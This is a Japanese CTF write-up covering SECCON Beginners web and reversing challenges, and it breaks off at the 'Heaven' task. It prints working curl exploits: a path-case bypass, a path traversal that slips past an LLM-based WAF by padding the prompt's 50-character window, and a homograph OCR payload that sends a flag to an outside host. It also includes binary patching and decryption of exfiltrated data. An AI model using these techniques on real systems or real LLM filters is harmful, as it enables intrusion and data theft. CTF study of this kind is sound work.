const block = (req, res, next) => {
    if (req.path.includes('/flag')) {
        return res.send(403, 'Forbidden :(');
    }

    next();
}

app.get("/flag", block, (req, res, next) => {
    return res.send(FLAG);
})

var server = app.listen(PORT, HOST, () => {
    console.log("Listening:" + server.address().port);
});

フラグを得るには/flagへアクセスする必要がありますが、パスに/flagが含まれていると403レスポンスに上書きされてしまいます。とりあえず試したものです:

$ curl https://forbidden.beginners.seccon.games/flag
Forbidden :(
$

シンプルな問題に見えますが、その分隙が無さそうに見えて悩みました。しばらく悩んだ後に「URLのパス部分は一般的にignore-caseでは?」との発想に至ったので試してみました:

$ curl https://forbidden.beginners.seccon.games/FLAG
ctf4b{403_forbidden_403_forbidden_403}
$

どうにかフィルターを回避できて、フラグを入手できました: ctf4b{403_forbidden_403_forbidden_403}

[web, easy] aiwaf (254 team solved, 68 points)

AI-WAFを超えてゆけ!! ※AI-WAFは気分屋なのでハックできたりできなかったりします。

https://aiwaf.beginners.seccon.games

配布ファイルとして、サーバー側プログラムの各種ファイルがありました:

$ find . -type f -print0 | xargs -0 file
./app/app.py:           Python script, Unicode text, UTF-8 text executable
./app/books/book0.txt:  Unicode text, UTF-8 text, with very long lines (1012), with no line terminators
./app/books/book1.txt:  Unicode text, UTF-8 text, with very long lines (821), with no line terminators
./app/books/book2.txt:  Unicode text, UTF-8 text, with very long lines (840), with no line terminators
./app/books/book3.txt:  ASCII text, with CRLF line terminators
./app/books/book4.txt:  ASCII text, with CRLF line terminators
./app/Dockerfile:       ASCII text, with CRLF line terminators
./app/flag:             ASCII text, with no line terminators
./app/requirements.txt: ASCII text, with CRLF line terminators
./app/uwsgi.ini:        ASCII text, with CRLF line terminators
./docker-compose.yml:   ASCII text
./nginx/Dockerfile:     ASCII text
./nginx/nginx.conf:     ASCII text
$

色々ファイルがありますが、重要そうなのはapp/app.pyのようです:

import uuid
import openai
import urllib.parse
from flask import Flask, request, abort

# from flask_limiter import Limiter
# from flask_limiter.util import get_remote_address

##################################################
# OpenAI API key
KEY = "****REDACTED****"
##################################################

app = Flask(__name__)
app.config["RATELIMIT_HEADERS_ENABLED"] = True

# limiter = Limiter(get_remote_address, app=app, default_limits=["3 per minute"])

openai.api_key = KEY

top_page = """
(book0.txt~book2.txtのリンクを含むHTMLです、省略します)
"""


@app.route("/")
def top():
    file = request.args.get("file")
    if not file:
        return top_page
    if file in ["book0.txt", "book1.txt", "book2.txt"]:
        with open(f"./books/{file}", encoding="utf-8") as f:
            return f.read()
    # AI-WAF
    puuid = uuid.uuid4()
    prompt = f"""\
以下の{puuid}に囲まれた部分のURLクエリはパストラバーサル攻撃でしょうか?
そうである場合Yesを、違う場合Noを返してください。
../やflagという文字列が含まれていた場合もYesを返してください。

{puuid}
{urllib.parse.unquote(request.query_string)[:50]}
{puuid}
"""
    try:
        response = openai.ChatCompletion.create(
            model="gpt-3.5-turbo",
            messages=[
                {
                    "role": "user",
                    "content": prompt,
                },
            ],
        )
        result = response.choices[0]["message"]["content"].strip()
    except:
        return abort(500, "OpenAI APIのエラーです。\n少し時間をおいてアクセスしてください。")
    if "No" in result:
        with open(f"./books/{file}", encoding="utf-8") as f:
            return f.read().replace(KEY, "")
    return abort(403, "AI-WAFに検知されました👻")


if __name__ == "__main__":
    app.run(debug=True, host="0.0.0.0", port=31415)

クエリ文字列がディレクトリトラバーサルかどうかをChatGPTに質問して判定するプログラムのようです。そこが突破できれば、open(f"./books/{file}", encoding="utf-8")箇所でディレクトリトラバーサルできそうです。

それで肝心要の質問内容ですが、urllib.parse.unquote(request.query_string)[:50]と、fileパラメーターに限らないすべてのクエリ文字列を使用している上に、50文字で打ち切っています。そうなると、適当なパラメーターで50文字消費させた後に、堂々とfileパラメーターでディレクトリトラバーサルすれば良さそうです。ちょうど目の前にあったファイルパスをダミーパラメーター用に使いました:

$ curl 'https://aiwaf.beginners.seccon.games/?id=/usr/local/lib/python3.10/dist-packages/flask/app.py&file=./../flag'
ctf4b{pr0mp7_1nj3c710n_c4n_br34k_41_w4f}
$

フラグを入手できました: ctf4b{pr0mp7_1nj3c710n_c4n_br34k_41_w4f}

想定解法はプロンプトインジェクションだったんでしょうか?

なお、最初のうちはfileパラメーターにあたかも自然に見えるパスを50文字分入れて、その後に../を連打してflagへ到達するクエリを投げようとしていました:

$ curl 'https://aiwaf.beginners.seccon.games/?file=Supercalifragilisticexpialidocious/Supercalifragilisticexpialidocious/../../book0.txt'
<!doctype html>
<html lang=en>
<title>500 Internal Server Error</title>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application.</p>
$

けれども上の実行結果の通り500エラーになってしまいました。終了後に気付いたのですが、open関数では最終的に../で親ディレクトリに上がる場合であっても、存在しないディレクトリを途中に含めることはできないのですね……。

[web, medium] phisher2 (118 team solved, 94 points)

目に見える文字が全てではないが、過去の攻撃は通用しないはずです。

https://phisher2.beginners.seccon.games

配布ファイルとして、サーバー側プログラムの各種ファイルがありました:

$ find . -type f -print0 | xargs -0 file
./docker-compose.yml:        ASCII text
./nginx/Dockerfile:          ASCII text
./nginx/nginx.conf:          ASCII text
./phisher2/admin.py:         Python script, ASCII text executable
./phisher2/app.py:           Python script, ASCII text executable
./phisher2/Dockerfile:       ASCII text
./phisher2/index.html:       HTML document, Unicode text, UTF-8 text
./phisher2/requirements.txt: ASCII text
./phisher2/uwsgi.ini:        ASCII text
$

色々ファイルがありますが、重要そうなのはphisher2/app.pyphisher2/admin.pyのようです:

import os
import uuid
from admin import share2admin
from flask import Flask, request

app = Flask(__name__)

@app.route("/", methods=["GET"])
def index():
    return open("./index.html").read()

@app.route("/", methods=["POST"])
def chall():
    try:
        text = request.json["text"]
    except Exception:
        return {"message": "text is required."}
    fileId = uuid.uuid4()
    file_path = f"/var/www/uploads/{fileId}.html"
    with open(file_path, "w", encoding="utf-8") as f:
        f.write(f'<p style="font-size:30px">{text}</p>')
    message, ocr_url, input_url = share2admin(text, fileId)
    os.remove(file_path)
    return {"message": message, "ocr_url": ocr_url, "input_url": input_url}


if __name__ == "__main__":
    app.run(debug=True, host="0.0.0.0")
import os
import re
import pyocr
import requests
from PIL import Image
from selenium import webdriver

APP_URL = os.getenv("APP_URL", "http://localhost:16161/")
FLAG = os.getenv("FLAG", "ctf4b{dummy_flag}")

# read text from image
def ocr(image_path: str):
    tool = pyocr.get_available_tools()[0]
    return tool.image_to_string(Image.open(image_path), lang="eng")


def openWebPage(fileId: str):
    try:
        chrome_options = webdriver.ChromeOptions()
        chrome_options.add_argument("--no-sandbox")
        chrome_options.add_argument("--headless")
        chrome_options.add_argument("--disable-gpu")
        chrome_options.add_argument("--disable-dev-shm-usage")
        chrome_options.add_argument("--window-size=1920,1080")
        driver = webdriver.Chrome(options=chrome_options)
        driver.implicitly_wait(10)
        url = f"file:///var/www/uploads/{fileId}.html"
        driver.get(url)

        image_path = f"./images/{fileId}.png"
        driver.save_screenshot(image_path)
        driver.quit()
        text = ocr(image_path)
        os.remove(image_path)
        return text
    except Exception:
        return None


def find_url_in_text(text: str):
    result = re.search(r"https?://[\w/:&\?\.=]+", text)
    if result is None:
        return ""
    else:
        return result.group()


def share2admin(input_text: str, fileId: str):
    # admin opens the HTML file in a browser...
    ocr_text = openWebPage(fileId)
    if ocr_text is None:
        return "admin: Sorry, internal server error."

    # If there's a URL in the text, I'd like to open it.
    ocr_url = find_url_in_text(ocr_text)
    input_url = find_url_in_text(input_text)

    # not to open dangerous url
    if not ocr_url.startswith(APP_URL):
        return "admin: It's not url or safe url.", ocr_url, input_text

    try:
        # It seems safe url, therefore let's open the web page.
        requests.get(f"{input_url}?flag={FLAG}")
    except Exception:
        return "admin: I could not open that inner link.", ocr_url, input_text
    return "admin: Very good web site. Thanks for sharing!", ocr_url, input_text

つまり、問題サーバーへ文字列textを提出すると、以下の処理が行われます:

  1. <p style="font-size:30px">{text}</p>なHTMLファイルが生成され、Chromeブラウザ経由でスクリーンショットを取り、OCRで文字列化します。
  2. OCR結果をfind_url_in_text関数に渡して、正規表現にマッチすることと、マッチ結果がAPP_URL(おそらく今回の場合はhttps://phisher2.beginners.seccon.games/)から始まることを検証します。
  3. 検証に成功すると、サーバーへ提出したtext内容そのものをfind_url_in_text関数に渡して正規表現にマッチしたURLへ、フラグパラメーター付きでへアクセスしてくれます。

OCRを騙す問題なので、ホモグラフ攻撃の一種だと思います。また、最終的にフラグパラメーター付きのアクセスを待ち受ける際には、私は自分用サーバーを持っていないので、Inspect HTTP request | Request Inspectorサービスを使いました。

色々試行錯誤をしたり、勘違いでハマったりした後、Wikipediaで各種言語のページを見ながら最終的に以下のペイロードを思いつきました:

httpѕ://phisher2.beginners.seccon.games/?value=@https://requestinspector.com/inspect/01h20jfsyfxvde20b51chzwayk

ここで、5文字目はどう見てもアルファベット小文字のsに見えますが、実際はU+0455、Cyrillic Small Letter Dzeのѕです。もちろんOCRを通すとアルファベット小文字のsとして解釈されます。正規表現が複数箇所にマッチする場合は最も左にマッチするため、OCR結果についてはfind_url_in_text関数はhttps://phisher2.beginners.seccon.games/?value=を返します。一方でtextそのものについてはfind_url_in_text関数は後ろのhttps://requestinspector.com/inspect/01h20jfsyfxvde20b51chzwaykを返します。実際に試した結果です:

$ curl -X POST -H "Content-Type: application/json" -d '{"text":"httpѕ://phisher2.beginners.seccon.games/?value=@https://requestinspector.com/inspect/01h20jfsyfxvde20b51chzwayk"}' https://phisher2.beginners.seccon.games
{"input_url":"http\u0455://phisher2.beginners.seccon.games/?value=@https://requestinspector.com/inspect/01h20jfsyfxvde20b51chzwayk","message":"admin: Very good web site. Thanks for sharing!","ocr_url":"https://phisher2.beginners.seccon.games/?value="}
$

Request Inspectorサービスを見ると、以下のアクセスがあった旨の表示がありました:

GET /inspect/01h20jfsyfxvde20b51chzwayk?flag=ctf4b%7Bw451t4c4t154w?%7D HTTP/1.1
requestinspector.com
Accept-Encoding: gzip
User-Agent: python-requests/2.31.0
Accept: */*

flagパラメーターのパーセントエンコーディングを解除して、フラグを入手できました: ctf4b{w451t4c4t154w?}

(このフラグ内容に何か意味はあるのでしょうか?何かのleet?)

[reversing, beginner] Half (599 team solved, 50 points)

バイナリファイルってなんのファイルなのか調べてみよう!

あとこのファイルってどうやって中身を見るんだろう...?

配布ファイルとして、halfがありました:

$ file *
half: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=e2b1484a1db68e68d01130084882316fb34d86ad, for GNU/Linux 3.2.0, not stripped
$

Revジャンルのbeginner向け問題なら、stringsコマンドでフラグが出るかもしれないと考えて試しました:

$ strings half
/lib64/ld-linux-x86-64.so.2
libc.so.6
strncmp
__isoc99_scanf
puts
printf
strlen
__cxa_finalize
strcmp
__libc_start_main
GLIBC_2.7
GLIBC_2.2.5
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
u+UH
[]A\A]A^A_
Enter the FLAG:
%99s%*[^
Invalid FLAG
ctf4b{ge4_t0_kn0w_the
_bin4ry_fi1e_with_s4ring3}
Correct!
:*3$"
GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.1) 9.4.0
crtstuff.c
deregister_tm_clones
__do_global_dtors_aux
completed.8061
__do_global_dtors_aux_fini_array_entry
frame_dummy
__frame_dummy_init_array_entry
main.c
__FRAME_END__
__init_array_end
_DYNAMIC
__init_array_start
__GNU_EH_FRAME_HDR
_GLOBAL_OFFSET_TABLE_
__libc_csu_fini
strncmp@@GLIBC_2.2.5
_ITM_deregisterTMCloneTable
puts@@GLIBC_2.2.5
_edata
strlen@@GLIBC_2.2.5
printf@@GLIBC_2.2.5
__libc_start_main@@GLIBC_2.2.5
__data_start
strcmp@@GLIBC_2.2.5
__gmon_start__
__dso_handle
_IO_stdin_used
__libc_csu_init
__bss_start
main
__isoc99_scanf@@GLIBC_2.7
__TMC_END__
_ITM_registerTMCloneTable
__cxa_finalize@@GLIBC_2.2.5
.symtab
.strtab
.shstrtab
.interp
.note.gnu.property
.note.gnu.build-id
.note.ABI-tag
.gnu.hash
.dynsym
.dynstr
.gnu.version
.gnu.version_r
.rela.dyn
.rela.plt
.init
.plt.got
.plt.sec
.text
.fini
.rodata
.eh_frame_hdr
.eh_frame
.init_array
.fini_array
.dynamic
.data
.bss
.comment
$

ctf4b{ge4_t0_kn0w_the_bin4ry_fi1e_with_s4ring3}がフラグの一部に見えます。結合して提出してみると、正解でした: ctf4b{ge4_t0_kn0w_the_bin4ry_fi1e_with_s4ring3}

[reversing, easy] Three (295 team solved, 65 points)

このファイル、中身をちょっと見ただけではフラグは分からないみたい!

バイナリファイルを解析する、専門のツールとか必要かな?

配布ファイルとして、threeがありました:

$ file *
three:     ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=5f0a7f4053ff33a4a013bbe5c58ea4dc2973ed54, for GNU/Linux 3.2.0, not stripped
$

今回のバイナリはnot strippedなので、関数名やグローバル変数名が残っています。問題文を見るに今回はstringsコマンドでは分からなさそうなので、IDAで開きました。main関数でユーザー入力を受け取った後に、validate_flag関数を呼び出していました。validate_flag関数の表示中にF5キーを押すと関数内容を逆コンパイルできます。逆コンパイル結果の変数名等を変更したものがこちらです:

__int64 __fastcall validate_flag(const char *pInputtedFlag)
{
  int charCurrent; // eax
  int i; // [rsp+1Ch] [rbp-4h]

  if ( strlen(pInputtedFlag) == 49 )
  {
    for ( i = 0; i <= 48; ++i )
    {
      if ( i % 3 )
      {
        if ( i % 3 == 1 )
          charCurrent = flag_1[i / 3];
        else
          charCurrent = flag_2[i / 3];
      }
      else
      {
        charCurrent = flag_0[i / 3];
      }
      if ( (_BYTE)charCurrent != pInputtedFlag[i] )
        goto labelInvalid;
    }
    puts("Correct!");
    return 0LL;
  }
  else
  {
labelInvalid:
    puts("Invalid FLAG");
    return 1LL;
  }
}

入力した文字列が、3つの文字列の先頭から順に一致するかどうかを1文字ずつ検証しています。それらの文字列の内容を確認しました。以下は逆アセンブルウィンドウの表示です

.rodata:0000000000002020                 public flag_0
.rodata:0000000000002020 ; _DWORD flag_0[24]
.rodata:0000000000002020 flag_0          dd 63h, 34h, 63h, 5Fh, 75h, 62h, 2 dup(5Fh), 64h, 74h
.rodata:0000000000002020                                         ; DATA XREF: validate_flag+95↑o
.rodata:0000000000002048                 dd 5Fh, 72h, 5Fh, 31h, 5Fh, 34h, 7Dh, 7 dup(0)
.rodata:0000000000002080                 public flag_1
.rodata:0000000000002080 ; _DWORD flag_1[16]
.rodata:0000000000002080 flag_1          dd 74h, 62h, 34h, 79h, 5Fh, 31h, 74h, 75h, 30h, 34h, 74h
.rodata:0000000000002080                                         ; DATA XREF: validate_flag+F2↑o
.rodata:00000000000020AC                 dd 65h, 73h, 69h, 66h, 67h
.rodata:00000000000020C0                 public flag_2
.rodata:00000000000020C0 ; _DWORD flag_2[16]
.rodata:00000000000020C0 flag_2          dd 66h, 7Bh, 6Eh, 30h, 61h, 65h, 30h, 6Eh, 5Fh, 65h, 34h
.rodata:00000000000020C0                                         ; DATA XREF: validate_flag+122↑o
.rodata:00000000000020EC                 dd 65h, 70h, 74h, 31h, 33h

どうにも分かりづらいので、Hex Viewウィンドウを見に行きました:

0000000000002020  63 00 00 00 34 00 00 00  63 00 00 00 5F 00 00 00  c...4...c..._...
0000000000002030  75 00 00 00 62 00 00 00  5F 00 00 00 5F 00 00 00  u...b..._..._...
0000000000002040  64 00 00 00 74 00 00 00  5F 00 00 00 72 00 00 00  d...t..._...r...
0000000000002050  5F 00 00 00 31 00 00 00  5F 00 00 00 34 00 00 00  _...1..._...4...
0000000000002060  7D 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  }...............
0000000000002070  00 00 00 00 00 00 00 00  00 00 00 00 00 00 00 00  ................
0000000000002080  74 00 00 00 62 00 00 00  34 00 00 00 79 00 00 00  t...b...4...y...
0000000000002090  5F 00 00 00 31 00 00 00  74 00 00 00 75 00 00 00  _...1...t...u...
00000000000020A0  30 00 00 00 34 00 00 00  74 00 00 00 65 00 00 00  0...4...t...e...
00000000000020B0  73 00 00 00 69 00 00 00  66 00 00 00 67 00 00 00  s...i...f...g...
00000000000020C0  66 00 00 00 7B 00 00 00  6E 00 00 00 30 00 00 00  f...{...n...0...
00000000000020D0  61 00 00 00 65 00 00 00  30 00 00 00 6E 00 00 00  a...e...0...n...
00000000000020E0  5F 00 00 00 65 00 00 00  34 00 00 00 65 00 00 00  _...e...4...e...
00000000000020F0  70 00 00 00 74 00 00 00  31 00 00 00 33 00 00 00  p...t...1...3...

いい感じに見えています。あとはテキストエディタで整形して、残りはIPythonで結合することにしました:

$ python3 -m IPython
Python 3.10.6 (main, Mar 10 2023, 10:55:28) [GCC 11.3.0]
Type 'copyright', 'credits' or 'license' for more information
IPython 7.31.1 -- An enhanced Interactive Python. Type '?' for help.

In [1]: l=["c4c_ub__dt_r_1_4}", "tb4y_1tu04tesifg", "f{n0ae0n_e4ept13"]

In [2]: for i in range(100): print(l[0][i]+l[1][i]+l[2][i],end="")
ctf4b{c4n_y0u_ab1e_t0_und0_t4e_t4ree_sp1it_f14g3---------------------------------------------------------------------------
IndexError                                Traceback (most recent call last)
<ipython-input-2-bf335c9dbc25> in <module>
----> 1 for i in range(100): print(l[0][i]+l[1][i]+l[2][i],end="")

IndexError: string index out of range

In [3]:

雑すぎて}を含むため1文字だけ長いflag_0の最後が出力されずにエラーになっていますが、それ以外は適切な順番になっているようです。最後に手動で閉じ波括弧を追加して、フラグを入手できました: ctf4b{c4n_y0u_ab1e_t0_und0_t4e_t4ree_sp1it_f14g3}

[reversing, medium] Poker (117 team solved, 94 points)

みんなでポーカーで遊ぼう!点数をたくさん獲得するとフラグがもらえるみたい!

でもこのバイナリファイル、動かしてみると...?実行しながら中身が確認できる専門のツールを使ってみよう!

配布ファイルとして、pokerがありました:

$ file *
poker:     ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=7d0fc5db7a8f299ccf155729cc1183f5f6cb1bb4, for GNU/Linux 3.2.0, stripped
$

今回のバイナリはstrippedなので、関数名やグローバル変数名はありません。今回のバイナリをIDAで開いて、ざっくり処理を眺めて関数名をそれらしく変更したものがこちらです:

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  int v4; // [rsp+4h] [rbp-Ch]
  int i; // [rsp+8h] [rbp-8h]
  int dwScore; // [rsp+Ch] [rbp-4h]

  dwScore = 0;
  ShowBanner();
  for ( i = 0; i <= 98; ++i )
  {
    ShowCurrentScore(dwScore);
    v4 = Input1or2();
    dwScore = DoOneGame(dwScore, v4);           // 勝者を当てた場合のみ+1点、当てられなかった場合や引き分けの場合は0点になる
    if ( dwScore > 99 )
    {
      ShowFlag();
      return 0LL;
    }
  }
  return 0LL;
}

ポーカーゲームの勝者を100回連続で当てられた場合にフラグを表示してくれるようです。ただそんなことは非現実的なので、どうにかしてフラグ表示関数を強引に呼び出したいです。こういう場合に思いつくのは以下の2つの方法です:

  • デバッガーで実行して、RIPをフラグ表示関数へジャンプさせたり、スコア用変数を改ざんしたりする。
  • バイナリにパッチを当てて、if ( dwScore > 99 )の分岐条件を改ざんして実行する。

今回はバイナリのシンボル情報がないため、デバッガーを使うのは少し大変です。そのためバイナリにパッチを当てる方法を取りました。IDAの逆アセンブル表示を見ると、フラグ表示関数直前にjle命令による分岐があります:

.text:00000000000022A9                 call    DoOneGame
.text:00000000000022AE                 mov     [rbp+dwScore], eax
.text:00000000000022B1                 cmp     [rbp+dwScore], 63h ; 'c'
.text:00000000000022B5                 jle     short loc_22C3
.text:00000000000022B7                 call    ShowFlag

jle行にカーソルを合わせた後にHex Viewタブに移動すると、jle命令に対応する機械語7E 0Cがハイライトされています。7E 0C7の左にカーソルを合わせた状態で、F2キーを押してEdit状態に入ります。nop命令の機械語である90 90へ変更して、もう一度F2キーを押して確定します。改めて逆アセンブル表示を見ると、無事に変更が反映されています:

.text:00000000000022A9                 call    DoOneGame
.text:00000000000022AE                 mov     [rbp+dwScore], eax
.text:00000000000022B1                 cmp     [rbp+dwScore], 63h ; 'c'
.text:00000000000022B5                 nop
.text:00000000000022B6                 nop
.text:00000000000022B7                 call    ShowFlag

逆コンパイル表示をF5で更新すると、そちらにも反映されます:

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  int v4; // [rsp+4h] [rbp-Ch]

  ShowBanner();
  ShowCurrentScore(0);
  v4 = Input1or2();
  DoOneGame(0, v4);
  ShowFlag();
  return 0LL;
}
/* Orphan comments:
勝者を当てた場合のみ+1点、当てられなかった場合や引き分けの場合は0点になる
*/

現状ではIDAのメモリ上での更新のみなので、ELFファイルへ変更を反映する必要があります。「Edit → Patch program → Apply patches to input file...」を選択して、入力のELFファイルを更新します。更新したELFファイルを実行しました:

$ ./poker

██╗███╗   ██╗██████╗ ██╗ █████╗ ███╗   ██╗    ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
██║████╗  ██║██╔══██╗██║██╔══██╗████╗  ██║    ██╔══██╗██╔═══██╗██║ ██╔╝██╔════╝██╔══██╗
██║██╔██╗ ██║██║  ██║██║███████║██╔██╗ ██║    ██████╔╝██║   ██║█████╔╝ █████╗  ██████╔╝
██║██║╚██╗██║██║  ██║██║██╔══██║██║╚██╗██║    ██╔═══╝ ██║   ██║██╔═██╗ ██╔══╝  ██╔══██╗
██║██║ ╚████║██████╔╝██║██║  ██║██║ ╚████║    ██║     ╚██████╔╝██║  ██╗███████╗██║  ██║
╚═╝╚═╝  ╚═══╝╚═════╝ ╚═╝╚═╝  ╚═╝╚═╝  ╚═══╝    ╚═╝      ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═╝  ╚═

================
| Score :   0  |
================

[?] Enter 1 or 2: 1
[+] Player 1 wins! You got score!
[!] You got a FLAG! ctf4b{4ll_w3_h4v3_70_d3cide_1s_wh4t_t0_d0_w1th_7he_71m3_7h47_i5_g1v3n_u5}
$

フラグを入手できました: ctf4b{4ll_w3_h4v3_70_d3cide_1s_wh4t_t0_d0_w1th_7he_71m3_7h47_i5_g1v3n_u5}

[reversing, medium] Leak (68 team solved, 119 points)

サーバーから不審な通信を検出しました!

調査したところさらに不審なファイルを発見したので、通信記録と合わせて解析してください。

機密情報が流出してしまったかも...?

配布ファイルとして、不審なファイルらしいleakと、通信記録らしいrecord.pcapがありました:

$ file *
leak:        ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=d4bf4d55fddc97a9318b850bd7430df46a5d815e, for GNU/Linux 3.2.0, not stripped
record.pcap: pcap capture file, microsecond ts (little-endian) - version 2.4 (Ethernet, capture length 262144)
$

Wiresharkでrecord.pcapを開くと、1つの送信のみを行っているTCP通信がありました。以下の手順で送信内容を確認しました:

  1. 適当な行で右クリックし、「Follow → TCP Stream...」をクリックします。
  2. モードレスダイアログが表示されます。初期状態ではShow data as箇所がASCIIになっています。
  3. 今回の送信内容を見るに非ASCIIの何らかのバイナリ形式のようです。ASCII表示のままでは非ASCIIバイトがすべて.に変換されてしまうため、Show data asRawに変更します。すると送信データの16進数表記が手に入ります。
  4. 以上の手順で、record.pcapに含まれている送信内容は8e57ff5945da900628b2abfa497332334a7329413c34b7f66273250f954016fa47e9228da5cd3d53eeb4b3518ed289935be059cbfbb11bと判明しました。

次にIDAでleakバイナリの処理を調べてました。今回のバイナリはnot strippedであるため、関数名やグローバル変数名は残っています。ローカル変数名を調整した逆コンパイル結果がこちらになります:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int hSocket; // [rsp+Ch] [rbp-464h]
  size_t v5; // [rsp+10h] [rbp-460h]
  FILE *fpFlag; // [rsp+18h] [rbp-458h]
  unsigned __int64 dwFlagLength; // [rsp+20h] [rbp-450h]
  size_t dwKeyLength; // [rsp+30h] [rbp-440h]
  struct sockaddr_in addr; // [rsp+40h] [rbp-430h] BYREF
  char strIpAddress[16]; // [rsp+50h] [rbp-420h] BYREF
  unsigned __int8 strFlagContent[1032]; // [rsp+60h] [rbp-410h] BYREF
  unsigned __int64 v12; // [rsp+468h] [rbp-8h]

  v12 = __readfsqword(0x28u);
  printf("Enter IP address: ");
  if ( fgets(strIpAddress, 16, _bss_start) )
  {
    v5 = strlen(strIpAddress);
    if ( v5 && strIpAddress[v5 - 1] == '\n' )
      strIpAddress[v5 - 1] = 0;
    fpFlag = fopen("/tmp/flag", "r");
    if ( fpFlag )
    {
      dwFlagLength = fread(strFlagContent, 1uLL, 0x400uLL, fpFlag);
      fclose(fpFlag);
      dwKeyLength = strlen("KEY{th1s_1s_n0t_f1ag_y0u_need_t0_f1nd_rea1_f1ag}");
      encrypt(strFlagContent, dwFlagLength, "KEY{th1s_1s_n0t_f1ag_y0u_need_t0_f1nd_rea1_f1ag}", dwKeyLength);
      hSocket = socket(AF_INET, SOCK_STREAM, 0);
      if ( hSocket == -1 )
      {
        perror("Failed to create socket");
        return 1;
      }
      else
      {
        addr.sin_family = AF_INET;
        addr.sin_port = htons(5000u);
        if ( inet_pton(AF_INET, strIpAddress, &addr.sin_addr) > 0 )
        {
          if ( connect(hSocket, (const struct sockaddr *)&addr, sizeof(sockaddr_in)) == -1 )
          {
            perror("Failed to connect to server");
            return 1;
          }
          else if ( send(hSocket, strFlagContent, dwFlagLength, 0) == -1 )
          {
            perror("Failed to send data");
            return 1;
          }
          else
          {
            puts("Data sent successfully");
            close(hSocket);
            return 0;
          }
        }
        else
        {
          perror("Invalid address/Address not supported");
          return 1;
        }
      }
    }
    else
    {
      perror("Failed to open file");
      return 1;
    }
  }
  else
  {
    perror("Failed to read IP address");
    return 1;
  }
}

main関数の内容は、/tmp/flagファイルを読み込んで、encrypt関数でKEY{th1s_1s_n0t_f1ag_y0u_need_t0_f1nd_rea1_f1ag}文字列を使いつつフラグ内容を暗号化して、その結果をソケット経由で送信する内容です。

void __fastcall encrypt(
        unsigned __int8 *pByteArrayContent,
        unsigned __int64 dwContentLength,
        const unsigned __int8 *pByteArrayKey,
        unsigned __int64 dwKeyLength)
{
  unsigned __int8 dwI_2; // [rsp+25h] [rbp-11Bh]
  unsigned __int8 dwJ_2; // [rsp+26h] [rbp-11Ah]
  unsigned __int8 dwTemp1; // [rsp+27h] [rbp-119h]
  unsigned __int8 dwTemp2; // [rsp+27h] [rbp-119h]
  unsigned int i; // [rsp+28h] [rbp-118h]
  unsigned int dwI_1; // [rsp+28h] [rbp-118h]
  unsigned int j; // [rsp+28h] [rbp-118h]
  int dwJ_1; // [rsp+2Ch] [rbp-114h]
  unsigned __int8 sbox[264]; // [rsp+30h] [rbp-110h]
  unsigned __int64 qwCanary; // [rsp+138h] [rbp-8h]

  qwCanary = __readfsqword(0x28u);
  for ( i = 0; i <= 0xFF; ++i )
    sbox[i] = i + 53;
  dwI_1 = 0;
  LOBYTE(dwJ_1) = 0;
  while ( dwI_1 <= 0xFF )
  {
    dwJ_1 = (unsigned __int8)(dwJ_1 + pByteArrayKey[dwI_1 % dwKeyLength] + sbox[dwI_1]);
    dwTemp1 = sbox[dwI_1];
    sbox[dwI_1] = sbox[dwJ_1];
    sbox[dwJ_1] = dwTemp1;
    ++dwI_1;
  }
  dwJ_2 = 0;
  dwI_2 = 0;
  for ( j = 0; dwContentLength > j; ++j )
  {
    dwJ_2 += sbox[++dwI_2];
    dwTemp2 = sbox[dwI_2];
    sbox[dwI_2] = sbox[dwJ_2];
    sbox[dwJ_2] = dwTemp2;
    pByteArrayContent[j] ^= sbox[(unsigned __int8)(sbox[dwI_2] + sbox[dwJ_2])];
  }
}

encrypt関数の内容は、RC4という暗号アルゴリズムの一部変更版です。変更点は、sboxの初期化時にsbox[i] = iではなくsbox[i] = i + 53を使用している点です。それ以外は通常のRC4と同一のようです。

RC4はストリーム暗号であるため、暗号化にも復号にも同一の関数を使用できます。そのためencrypt関数をPythonに移植して、record.pcapで送信した内容を復号すれば、フラグを復元できそうです。この方針でソルバーを書きました。なお、上記C言語の関数ではunsigned charunsigned __int8型を使っているため自動的に0~255の範囲でループしますが、Pythonの整数型は上下限がないため、適宜0~255の範囲にループさせる必要がある点に注意が必要です:

#!/usr/bin/env python3

def encrypt_or_decrypt(content, key):
    sbox = bytearray(256)
    for i in range(len(sbox)):
        sbox[i] = (i + 53) % 256
    j = 0
    for i in range(256):
        j = (j + key[i % len(key)] + sbox[i]) % 256
        sbox[i], sbox[j] = sbox[j], sbox[i]
    i = j = 0
    for contentIndex in range(len(content)):
        i += 1
        j = (j + sbox[i]) % 256;
        sbox[i], sbox[j] = sbox[j], sbox[i]
        content[contentIndex] ^= sbox[(sbox[i] + sbox[j]) % 256] % 256

encrypted = bytearray(bytes.fromhex("8e57ff5945da900628b2abfa497332334a7329413c34b7f66273250f954016fa47e9228da5cd3d53eeb4b3518ed289935be059cbfbb11b"))
encrypt_or_decrypt(encrypted, b"KEY{th1s_1s_n0t_f1ag_y0u_need_t0_f1nd_rea1_f1ag}")
print(encrypted.decode())

実行しました:

$ ./solve.py
ctf4b{p4y_n0_4ttent10n_t0_t4at_m4n_beh1nd_t4e_cur4a1n}

$

フラグを入手できました: ctf4b{p4y_n0_4ttent10n_t0_t4at_m4n_beh1nd_t4e_cur4a1n}

[reversing, hard] Heaven (47 team solved, 140 points)

メッセージを暗号化するプログラムを作りました。

解読してみてください!

配布ファイルとして、heavenと、フラグを暗号化した際らしい実行ログlog.txtがありました:

$ file *
